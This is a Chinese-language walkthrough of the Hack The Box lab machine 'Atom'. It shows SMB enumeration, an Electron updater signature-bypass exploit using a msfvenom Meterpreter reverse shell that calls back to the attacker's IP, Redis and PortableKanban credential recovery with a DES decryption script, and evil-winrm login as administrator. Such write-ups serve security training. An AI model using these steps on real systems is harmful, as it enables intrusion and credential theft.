Hackthebox - Atom

靶场信息

靶场类型

信息搜集

Nmap

首先使用NMAP进行端口扫描

Smb

我们可以看到,这台靶场开启了80 135 443 445端口,以及有SMB服务

且SMB服务可以由guest权限登录,那咱们就先看看smb有啥吧

smbclient -L ////10.10.10.237////

密码为空即可

看看我们可以匿名阅读的内容有哪些

smbmap -u 'anonymous' -p '' -H 10.10.10.237

看来可以匿名读写Software_Updates目录

smbclient [\\\\10.10.10.237\\Software_Updates](file:///////10.10.10.237//Software_Updates)

登录 然后使用dir查看

看来UAT_Testing_Procedures.pdf文档可以被下载,咱们使用get进行下载

我们可以看到,该文档描述了一个名为Heed的笔记应用,它是一个基于客户端的应用程序,没有与服务器交互。但是它确实通过客户端文件夹进行了更新,我们可以看到已经有三个文件夹了,分别是client1、client2、client3,所以我们接下来访问80端口

我们往下翻滚,可以看到一个下载按钮和一个邮箱MrR3boot@atom.htb

既然域名都给了,那还是老规矩,添加hosts吧

vim /etc/hosts

Gobuster

既然都添加了,那目录爆破和子域名爆破就不能少了,爆破吧

gobuster爆破目录

gobuster dir -u "http://10.10.10.237/" -x php,txt,html -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

gobuster爆破DNS

gobuster dns -d 'atom.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt

简单爆破了一下,好像都没啥有用的东西,那咱们只能去下载了

下载下来后是一个exe程序,这就不得不切换一台windows的机器出来了

安装好后是酱婶儿的

这告诉我们这是一个电子应用程序

通过Googles搜索rce程序

https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html

Juliano Rizzo 这里提到了是由这位大佬发现的漏洞,感谢

这里说它将从latest.yml进行更新

漏洞利用

首先我们生成带有单引号的有效负载

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.184 LPORT=4444 -f exe > "u'payload.exe"

现在我们需要生成一个 sha512 sum hash 并将其转换为十六进制,然后进一步转换为base64

shasum -a 512 "u'payload.exe" | cut -d " " -f1 | xxd -r -p | base64
kPA7kwD6QtUcXqDkwnQacg7ZUWGSBiz4oTaWQuxceC7t8SRYcq5T6CBmujUbrHhMVKLJ+RftvSkmpXGFJ1cCMg==

创建latest.yml文件

version: 1.0.1
path: http://10.10.14.184/u'payload.exe
sha512: kPA7kwD6QtUcXqDkwnQacg7ZUWGSBiz4oTaWQuxceC7t8SRYcq5T6CBmujUbrHhMVKLJ+RftvSkmpXGFJ1cCMg==

使用python3开启一个http服务器

python3 -m http.server 80

替换掉smb共享中的yml文件

三个文件夹都要替换

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp

使用msfconsole开启监听

配置好配置项后exploit执行

我们可以看到 http服务器里已经收到了GET请求

然后我们再去看看MSF

已经成功getshell了

如果没有弹回shell,就多尝试几次,或使用1.2.3版本号

权限提升

为了提权,我先输入了getprivs查看当前用户的权限

输入shell进入shell控制

首先进入Program Files目录

然后进入Redis目录

然后我们看到redis的配置文件 redis.windows-service.conf

我们可以看到,里面有redis cli的密码kidvscat_yes_kidvscat

然后咱们发现这台靶机的6379端口 也就是redis服务开着呢,那就直接登录吧

登录成功,并使用info进行信息查看

使用keys *列出所有hash

e8e29158-d70d-44b1-a1ba-4949d52790a0

查看user用户的相关信息

get pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0

我们得到了一个管理员的hash

Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi

同时我们在用户jason的桌面发现了一个user.txt

成功拿到user权限的flag

在检查其他文件的时候,找到了两个文件夹,咱们进去看看

这里似乎没什么有用的东西,咱们看看另一个文件夹

这个程序引起了我的兴趣,然后去Google了一下

https://www.exploit-db.com/exploits/49409

然后找到了一个exp

可能。。。这就是缘分吧?

咱们查看一下配置文件Portablekanban.cfg

获得了portablekanban的hash值

Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb

这时候开动我们机灵的小脑瓜,动起我们勤劳的小手,小小的修改一下exp

import json
import base64
from des import * #python3 -m pip install des
import sys

def decode(hash):
hash = base64.b64decode(hash.encode('utf-8'))
key = DesKey(b"7ly6UznJ")
return key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8')
print(decode('Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi'))

执行一下这个脚本

成功得到Administrator的密码kidvscat_admin_@123

我们可以看到5985端口是开启的

别问我怎么知道,因为思路卡壳的我,想了一晚上

NB吗?用头发换的

经过Google,我们发现5985端口是WinRM程序使用的端口

那咱们就根据文档来利用吧

注意,在kali中安装winrm的指令是

gem install evil-winrm

安装好后使用evil-winrm进行登录

evil-winrm -i 10.10.10.237 -u 'administrator' -p 'kidvscat_admin_@123'

成功拿到root权限的flag

收工睡觉